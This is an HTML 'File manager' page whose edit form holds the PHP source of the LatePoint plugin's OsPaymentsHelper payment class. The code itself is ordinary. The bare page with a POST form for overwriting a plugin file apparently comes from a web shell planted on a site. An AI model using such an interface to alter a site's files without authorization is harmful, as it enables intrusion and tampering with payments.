File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php

class OsPaymentsHelper {

	public static function get_payment_processors_for_select( $enabled_only = false, $include_other = false ) {
		$processors_for_select = [];
		$processors            = self::get_payment_processors( $enabled_only );
		foreach ( $processors as $processor ) {
			$processors_for_select[ $processor[&#039;code&#039;] ] = $processor[&#039;name&#039;];
		}
		if ( $include_other ) {
			$processors_for_select[&#039;other&#039;] = __( &#039;Other&#039;, &#039;latepoint&#039; );
		}

		return apply_filters( &#039;latepoint_payment_processors_for_select&#039;, $processors_for_select, $enabled_only, $include_other );
	}

	public static function get_payment_processors( bool $enabled_only = false ) {
		$payment_processors = [];

		/**
		 * Result an array of registered payment processors, array looks like this:
		 * $payment_processors[&#039;stripe&#039;] = [&#039;code&#039; =&gt; &#039;stripe&#039;, &#039;name&#039; =&gt; &#039;Stripe&#039;, &#039;image_url&#039; =&gt; &#039;URL_TO_LOGO&#039;];
		 *
		 * @param {array} $payment_processors The array of payment processors
		 *
		 * @returns {array} The array of payment processors
		 * @since 5.0.0
		 * @hook latepoint_payment_processors
		 *
		 */
		$payment_processors = apply_filters( &#039;latepoint_payment_processors&#039;, $payment_processors );
		if ( $enabled_only ) {
			$enabled_processors = [];
			foreach ( $payment_processors as $payment_processor ) {
				if ( OsPaymentsHelper::is_payment_processor_enabled( $payment_processor[&#039;code&#039;] ?? &#039;&#039; ) ) {
					$enabled_processors[] = $payment_processor;
				}
			}
			$payment_processors = $enabled_processors;
		}

		return $payment_processors;
	}

	public static function get_nice_payment_method_name( $code ) {
		$payment_methods = OsPaymentsHelper::get_all_payment_methods_for_select();

		return $payment_methods[ $code ] ?? $code;
	}


	public static function get_nice_payment_processor_name( $code ) {
		$processors = OsPaymentsHelper::get_payment_processors();

		return $processors[ $code ][&#039;name&#039;] ?? $code;
	}

	public static function get_enabled_payment_processors() {
		return self::get_payment_processors( true );
	}

	public static function is_local_payments_enabled() {
		return OsSettingsHelper::is_on( &#039;enable_payments_local&#039; );
	}

	public static function is_accepting_payments(): bool {
		$enabled_payment_methods = self::get_enabled_payment_methods_for_payment_time( LATEPOINT_PAYMENT_TIME_NOW );
		return ! empty( $enabled_payment_methods );
	}

	public static function is_payment_processor_enabled( $processor_code ) {
		return OsSettingsHelper::is_on( &#039;enable_payment_processor_&#039; . $processor_code );
	}

	public static function should_processor_handle_payment_for_transaction_intent( string $processor_code, OsTransactionIntentModel $transaction_intent ): bool {
		if ( $transaction_intent-&gt;get_payment_data_value(&#039;processor&#039;) != $processor_code ) {
			return false;
		}
		$payment_times = self::get_enabled_payment_times();

		return ! empty( $payment_times[ LATEPOINT_PAYMENT_TIME_NOW ][ $transaction_intent-&gt;get_payment_data_value(&#039;method&#039;) ][ $transaction_intent-&gt;get_payment_data_value(&#039;processor&#039; )] );
	}

	public static function should_processor_handle_payment_for_cart( string $processor_code, OsCartModel $cart ): bool {
		if ( $cart-&gt;payment_processor != $processor_code ) {
			return false;
		}
		$payment_times = self::get_enabled_payment_times();

		return ! empty( $payment_times[ $cart-&gt;payment_time ][ $cart-&gt;payment_method ][ $cart-&gt;payment_processor ] );
	}

	public static function should_processor_handle_payment_for_order_intent( string $processor_code, OsOrderIntentModel $order_intent ): bool {
		$cart                    = new OsCartModel();
		$cart-&gt;payment_processor = $order_intent-&gt;get_payment_data_value( &#039;processor&#039; );
		$cart-&gt;payment_time      = $order_intent-&gt;get_payment_data_value( &#039;time&#039; );
		$cart-&gt;payment_method    = $order_intent-&gt;get_payment_data_value( &#039;method&#039; );
		$cart-&gt;payment_portion   = $order_intent-&gt;get_payment_data_value( &#039;portion&#039; );

		return self::should_processor_handle_payment_for_cart( $processor_code, $cart );
	}

	public static function is_cart_payment_enabled( OsCartModel $cart ): bool {
		$payment_times = self::get_enabled_payment_times();

		return ! empty( $payment_times[ $cart-&gt;payment_time ][ $cart-&gt;payment_method ][ $cart-&gt;payment_processor ] );
	}

	public static function get_all_payment_methods_for_select(): array {
		$payment_methods_for_select = [];
		$payment_times              = self::get_all_payment_times();
		foreach ( $payment_times as $payment_time_code =&gt; $payment_time_methods ) {
			foreach ( $payment_time_methods as $payment_time_method_code =&gt; $payment_time_processors ) {
				foreach ( $payment_time_processors as $payment_time_processor_code =&gt; $payment_time_method ) {
					$payment_methods_for_select[ $payment_time_method_code ] = $payment_time_method[&#039;label&#039;];
				}
			}
		}

		$payment_methods_for_select[&#039;other&#039;] = __( &#039;Other&#039;, &#039;latepoint&#039; );

		/**
		 * List of all payment methods for select field
		 *
		 * @param {array} $payment_methods_for_select Array of payment methods for select field
		 *
		 * @returns {array} Filtered array of payment methods for select field
		 * @since 5.0.0
		 * @hook latepoint_all_payment_methods_for_select
		 *
		 */
		return apply_filters( &#039;latepoint_all_payment_methods_for_select&#039;, $payment_methods_for_select );
	}

	public static function get_local_payment_method_info(): array {
		return [
			&#039;code&#039;      =&gt; LATEPOINT_PAYMENT_METHOD_LOCAL,
			&#039;label&#039;     =&gt; __( &#039;Pay Locally&#039;, &#039;latepoint&#039; ),
			&#039;image_url&#039; =&gt; LATEPOINT_IMAGES_URL . &#039;payment_later.png&#039;
		];
	}


	public static function get_enabled_payment_methods_for_payment_time( string $payment_time ): array {
		$enabled_payment_methods_for_time = [];

		$enabled_payment_times = self::get_enabled_payment_times();
		if ( ! empty( $enabled_payment_times[ $payment_time ] ) ) {
			$enabled_payment_methods_for_time = $enabled_payment_times[ $payment_time ];
		}

		/**
		 * List of enabled payment methods for a specific payment time
		 *
		 * @param {array} $enabled_payment_methods_for_time Array of enabled payment methods for requested time
		 * @param {string} $payment_time Payment time that should be supported by payment methods
		 *
		 * @returns {array} Filtered array of enabled payment methods for requested time type
		 * @since 5.0.0
		 * @hook latepoint_enabled_payment_methods_for_payment_time
		 *
		 */
		return apply_filters( &#039;latepoint_enabled_payment_methods_for_payment_time&#039;, $enabled_payment_methods_for_time, $payment_time );
	}

	public static function get_enabled_payment_processors_for_payment_time_and_method( string $payment_time, string $payment_method ): array {
		$enabled_payment_processors_for_payment_time_and_method = [];

		$enabled_payment_methods_for_time = self::get_enabled_payment_methods_for_payment_time( $payment_time );
		if ( ! empty( $enabled_payment_methods_for_time[ $payment_method ] ) ) {
			$enabled_payment_processors_for_payment_time_and_method = $enabled_payment_methods_for_time[ $payment_method ];
		}

		/**
		 * List of enabled payment processors for a specific payment time and method
		 *
		 * @param {array} $enabled_payment_processors_for_payment_time_and_method Array of enabled payment processors for requested time and method
		 * @param {string} $payment_time Payment time that should be supported by payment processors
		 * @param {string} $payment_method Payment method that should be supported by payment processors
		 *
		 * @returns {array} Filtered array of enabled payment processors for requested time and method
		 * @since 5.0.0
		 * @hook latepoint_enabled_payment_processors_for_payment_time_and_method
		 *
		 */
		return apply_filters( &#039;latepoint_enabled_payment_processors_for_payment_time_and_method&#039;, $enabled_payment_processors_for_payment_time_and_method, $payment_time, $payment_method );
	}


	public static function get_all_payment_times(): array {
		$payment_times                                                                                = [
			LATEPOINT_PAYMENT_TIME_NOW   =&gt; [],
			LATEPOINT_PAYMENT_TIME_LATER =&gt; []
		];
		$payment_times[ LATEPOINT_PAYMENT_TIME_LATER ][ LATEPOINT_PAYMENT_METHOD_LOCAL ][&#039;latepoint&#039;] = self::get_local_payment_method_info();


		/**
		 * List of all payment times
		 *
		 * @param {array} $payment_times Array of payment times
		 *
		 * @returns {array} Filtered array of enabled payment times
		 * @since 5.0.0
		 * @hook latepoint_get_all_payment_times
		 *
		 */
		return apply_filters( &#039;latepoint_get_all_payment_times&#039;, $payment_times );
	}

	/**
	 *
	 * Array of payment times that have at least one payment method enabled
	 *
	 * @return array
	 */
	public static function get_enabled_payment_times(): array {
		$enabled_payment_times = [];
		if ( self::is_local_payments_enabled() ) {
			$enabled_payment_times[ LATEPOINT_PAYMENT_TIME_LATER ][ LATEPOINT_PAYMENT_METHOD_LOCAL ][&#039;latepoint&#039;] = self::get_local_payment_method_info();
		}

		/**
		 * List of only enabled payment times
		 *
		 * @param {array} $enabled_payment_times Array of payment times
		 *
		 * @returns {array} Filtered array of enabled payment times
		 * @since 5.0.0
		 * @hook latepoint_get_enabled_payment_times
		 *
		 */
		return apply_filters( &#039;latepoint_get_enabled_payment_times&#039;, $enabled_payment_times );
	}


	public static function get_transactions_for_select() {
		$transactions         = new OsTransactionModel();
		$transactions         = $transactions-&gt;set_limit( 100 )-&gt;get_results_as_models();
		$transactions_options = [];
		foreach ( $transactions as $transaction ) {
			$name                   = $transaction-&gt;token . &#039;, &#039; . OsMoneyHelper::format_price( $transaction-&gt;amount, true, false ) . &#039; [&#039; . $transaction-&gt;processor . &#039;/&#039; . $transaction-&gt;payment_method . &#039; &#039; . $transaction-&gt;status . &#039;]&#039;;
			$transactions_options[] = [ &#039;value&#039; =&gt; $transaction-&gt;id, &#039;label&#039; =&gt; $name ];
		}

		return $transactions_options;
	}


	public static function get_payment_portions_list() {
		$payment_portions = [
			LATEPOINT_PAYMENT_PORTION_FULL      =&gt; __( &#039;Full Balance&#039;, &#039;latepoint&#039; ),
			LATEPOINT_PAYMENT_PORTION_REMAINING =&gt; __( &#039;Remaining Balance&#039;, &#039;latepoint&#039; ),
			LATEPOINT_PAYMENT_PORTION_DEPOSIT   =&gt; __( &#039;Deposit&#039;, &#039;latepoint&#039; ),
			LATEPOINT_PAYMENT_PORTION_CUSTOM   =&gt; __( &#039;Custom&#039;, &#039;latepoint&#039; )
		];

		return apply_filters( &#039;latepoint_payment_portions&#039;, $payment_portions );
	}

	public static function get_list_of_transaction_kinds() {
		$statuses = [
			LATEPOINT_TRANSACTION_KIND_CAPTURE       =&gt; __( &#039;Capture&#039;, &#039;latepoint&#039; ),
			LATEPOINT_TRANSACTION_KIND_AUTHORIZATION =&gt; __( &#039;Authorization&#039;, &#039;latepoint&#039; ),
			LATEPOINT_TRANSACTION_KIND_VOID          =&gt; __( &#039;Void&#039;, &#039;latepoint&#039; ),
		];

		return apply_filters( &#039;latepoint_transaction_kinds&#039;, $statuses );
	}

	public static function get_nice_transaction_kind_name( $kind ) {
		$kids_list = OsPaymentsHelper::get_list_of_transaction_kinds();

		return $kids_list[ $kind ] ?? $kind;
	}

	public static function get_transaction_statuses_list() {
		$statuses = [
			LATEPOINT_TRANSACTION_STATUS_SUCCEEDED  =&gt; __( &#039;Succeeded&#039;, &#039;latepoint&#039; ),
			LATEPOINT_TRANSACTION_STATUS_PROCESSING =&gt; __( &#039;Processing&#039;, &#039;latepoint&#039; ),
			LATEPOINT_TRANSACTION_STATUS_FAILED     =&gt; __( &#039;Failed&#039;, &#039;latepoint&#039; )
		];

		return apply_filters( &#039;latepoint_transaction_statuses&#039;, $statuses );
	}


	public static function get_nice_transaction_status_name( $status ) {
		$statuses_list = OsPaymentsHelper::get_transaction_statuses_list();

		return $statuses_list[ $status ] ?? $status;
	}

	public static function display_transaction_payment_method_info( $payment_method ) {
		switch ( $payment_method ) {
			case LATEPOINT_PAYMENT_METHOD_CARD:
				echo &#039;&lt;div class=&quot;lp-method-logo&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon-credit-card&quot;&gt;&lt;/i&gt;&lt;/div&gt;&#039;;
				break;
			case LATEPOINT_PAYMENT_METHOD_PAYPAL:
				echo &#039;&lt;div class=&quot;lp-method-logo&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon-paypal&quot;&gt;&lt;/i&gt;&lt;/div&gt;&#039;;
				break;
			default:
				echo &#039;&lt;div class=&quot;lp-method-name&quot;&gt;&#039; . esc_html( $payment_method ) . &#039;&lt;/div&gt;&#039;;
				break;
		}
	}

	public static function process_payment_for_order_intent( OsOrderIntentModel $order_intent ) {
		if ( ( $order_intent-&gt;charge_amount &lt;= 0 ) || OsSettingsHelper::is_env_demo() ) {
			return false;
		}
		$payment_processing_result = [];


		/**
		 * Hook to change a result of payment processing when order intent is being converted to order and payment is required
		 *
		 * @param {array} $result Array that holds result of payment processing
		 * @param {OsOrderIntentModel} $order_intent Order intent which is being converted to Order which payment is being processed
		 *
		 * @returns {array} Filtered array that holds result of payment processing
		 * @since 5.0.0
		 * @hook latepoint_process_payment_for_order_intent
		 *
		 */
		$payment_processing_result = apply_filters( &#039;latepoint_process_payment_for_order_intent&#039;, $payment_processing_result, $order_intent );
		if ( $payment_processing_result &amp;&amp; $payment_processing_result[&#039;status&#039;] == LATEPOINT_STATUS_SUCCESS ) {
			$transaction                  = new OsTransactionModel();
			$transaction-&gt;token           = $payment_processing_result[&#039;charge_id&#039;];
			$transaction-&gt;payment_method  = $order_intent-&gt;get_payment_data_value( &#039;method&#039; );
			$transaction-&gt;payment_portion = $order_intent-&gt;get_payment_data_value( &#039;portion&#039; );
			$transaction-&gt;amount          = $order_intent-&gt;charge_amount;
			$transaction-&gt;customer_id     = $order_intent-&gt;customer_id;
			$transaction-&gt;processor       = $payment_processing_result[&#039;processor&#039;];
			$transaction-&gt;kind            = $payment_processing_result[&#039;kind&#039;] ?? LATEPOINT_TRANSACTION_KIND_CAPTURE;
			$transaction-&gt;status          = LATEPOINT_TRANSACTION_STATUS_SUCCEEDED;
		} else {
			$transaction = false;
		}

		return $transaction;
	}

	public static function process_payment_for_transaction_intent( OsTransactionIntentModel $transaction_intent ) {
		if ( ( $transaction_intent-&gt;charge_amount &lt;= 0 ) || OsSettingsHelper::is_env_demo() ) {
			return false;
		}
		$payment_processing_result = [];


		/**
		 * Hook to change a result of payment processing when transaction intent is being converted to transaction and payment is required
		 *
		 * @param {array} $result Array that holds result of payment processing
		 * @param {OsTransactionIntentModel} $transaction_intent Transaction intent which is being converted to Transaction which payment is being processed
		 *
		 * @returns {array} Filtered array that holds result of payment processing
		 * @since 5.0.0
		 * @hook latepoint_process_payment_for_transaction_intent
		 *
		 */
		$payment_processing_result = apply_filters( &#039;latepoint_process_payment_for_transaction_intent&#039;, $payment_processing_result, $transaction_intent );
		if ( $payment_processing_result &amp;&amp; $payment_processing_result[&#039;status&#039;] == LATEPOINT_STATUS_SUCCESS ) {
			$transaction                  = new OsTransactionModel();
			$transaction-&gt;token           = $payment_processing_result[&#039;charge_id&#039;];
			$transaction-&gt;payment_method  = $transaction_intent-&gt;get_payment_data_value( &#039;method&#039; );
			$transaction-&gt;payment_portion = $transaction_intent-&gt;get_payment_data_value( &#039;portion&#039; );
			$transaction-&gt;amount          = $transaction_intent-&gt;charge_amount;
			$transaction-&gt;order_id        = $transaction_intent-&gt;order_id;
			$transaction-&gt;customer_id     = $transaction_intent-&gt;customer_id;
			$transaction-&gt;invoice_id      = $transaction_intent-&gt;invoice_id;
			$transaction-&gt;processor       = $payment_processing_result[&#039;processor&#039;];
			$transaction-&gt;kind            = $payment_processing_result[&#039;kind&#039;] ?? LATEPOINT_TRANSACTION_KIND_CAPTURE;
			$transaction-&gt;status          = LATEPOINT_TRANSACTION_STATUS_SUCCEEDED;
		} else {
			$transaction = false;
		}

		return $transaction;
	}


	public static function convert_charge_amount_to_requirements( $charge_amount, OsCartModel $cart ) {

		/**
		 * Hook to convert amount to requirements based on a payment processor and method selected in a cart
		 *
		 * @param {float} $chart_amount Amount to charge
		 * @param {OsCartModel} $cart Cart object
		 *
		 * @returns {float} Filtered amount to spec
		 * @since 5.0.0
		 * @hook latepoint_convert_charge_amount_to_requirements
		 *
		 */
		return apply_filters( &#039;latepoint_convert_charge_amount_to_requirements&#039;, $charge_amount, $cart );
	}

}</textarea><input type='submit' name='save' value='Save' style=''/></form>